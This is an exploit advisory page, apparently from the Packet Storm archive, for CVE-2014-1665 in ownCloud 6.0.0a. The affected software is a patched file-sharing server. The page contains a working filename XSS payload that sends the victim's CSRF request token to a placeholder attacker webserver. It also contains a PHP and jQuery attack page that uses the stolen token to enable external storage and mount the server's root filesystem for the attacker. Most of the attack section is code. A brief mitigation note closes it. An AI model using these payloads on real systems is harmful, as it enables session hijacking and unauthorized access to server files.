what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ownCloud 6.0.0a File Deletion / XSS / CSRF

ownCloud 6.0.0a File Deletion / XSS / CSRF
Posted Feb 6, 2014
Authored by absane

ownCloud version 6.0.0a suffers from file deletion, cross site request forgery, and cross site scripting vulnerabilities. It has also been reported that the same cross site scripting issue also affects Pydio version 5.20.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2014-1665
SHA-256 | 0fb9c931db1a45e7410c265273eefb3fe38de107452c5df50cfa8b1d1f8f8615

ownCloud 6.0.0a File Deletion / XSS / CSRF

Change Mirror Download
# Exploit Title:     ownCloud 6.0.0a File Deletion XSS and CSRF Protection Bypass
# Vendor Homepage: www.ownCloud.org
# OwnCloud Version: 6.0.0a
# Browsers tested: Iceweasel 22.0; Internet Explorer 11;
# Server: Debian. Default LAMP set-up.
# Exploit Author: James Sibley (absane)
# Blog: http://blog.noobroot.com
# Discovery date: December 12th, 2013
# Vendor notified: December 12th, 2013
# Vendor fixed: January 22th, 2014
# CVE assignment: CVE-2014-1665

A malicious ownCloud user can upload a file with JavaScript code in the filename, share it, and
cause a XSS attack when the victim tries to either view the contents of the file or delete the
file.

If the victim is an ownCloud administrator, an attacker can force the mounting of the webserver's
local file system, leading to unauthorized access to server resources and potentially shell
access.

=======================
=Proof of Concept.....=
=======================
1) Create a file named <img src=x onerror=alert(0);>.txt (on a Linux machine)
2) Upload it to OwnCloud by clicking on the Upload button (up arrow next to "new") on the Web UI.
3) Share the file with the victim.
4) When the victim sees the shared file in their "Shared" directory, they can:
a) View the contents of the file within OwnCloud, or
b) become suspicious of the file and attempt to delete it.

Both a) and b) options will result in Javascript being executed in the victim's web browser.


=======================
=Exploit..............=
=======================

** **
** NOTE: Replace [ATTACKER'S WEBSERVER] with the attacker's domain/IP. **
** NOTE: Replace [ATTACKER] with the attacker's account on ownCloud. **
** **


** Filename (share a malicious file with this name):

<img src=x onerror="var z=document.getElementsByTagName('head')[0].getAttribute('data-requesttoken');
document.location='http://[ATTACKER'S WEBSERVER]/ownCloudhack.php?rt='+z";>

** Code (ownCloudhack.php):

<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>OwnCloud 6.0.0a XSS and CSRF Protection Bypass</title>
<script type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<span id="container"></span>
<form id="form1">
<input type="hidden" name="mountPoint" value="LOL">
<input type="hidden" name="class" value="\OC\Files\Storage\Local">
<input type="hidden" name="classOptions[datadir]" value="/">
<input type="hidden" name="mountType" value="user">
<input type="hidden" name="applicable" value="[ATTACKER]">
<input type="hidden" name="isPersonal" value="false">
<?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?>
</form>
<script>
$('#form1').submit(function(event) {
event.preventDefault();
$.ajax({
type: 'POST',
url: 'http://[ATTACKER'S WEBSERVER]/index.php/apps/files_external/ajax/addMountPoint.php',
data: $(this).serialize(),
xhrFields: {
withCredentials: true
},
dataType: 'json',
}
});
});
</script>

<form id="form2">
<input type="hidden" name="appid" value="files_external">
<?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?>
</form>
<script>
$('#form2').submit(function(event) {
event.preventDefault();
$.ajax({
type: 'POST',
url: 'http://[ATTACKER'S WEBSERVER]/index.php/settings/ajax/enableapp.php',
data: $(this).serialize(),
xhrFields: {
withCredentials: true
},
dataType: 'json',
});
});

function ext() {
$('#form2').submit();
$("#container").text("Enabling External Storage...");
};
function mount() {
$('#form1').submit();
$("#container").text("Mounting the root filesystem...");
};
function redirect() {
window.location.href = 'http://[ATTACKER'S WEBSERVER]/';
$("#container").text("Redirecting back home ;)");
};
setTimeout(function() {ext();}, 0);
setTimeout(function() {mount();}, 5000);
setTimeout(function() {redirect();}, 5500);
</script>
</body>
</html>


=======================
=Mitigation...........=
=======================
Upgrade to ownCloud 6.0.1 or greater.

If upgrading is not an option, then the file can be removed by either
1) manually removing the file from the disk via command line interface, or
2) first renaming the file to something else and then deleting the file.
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close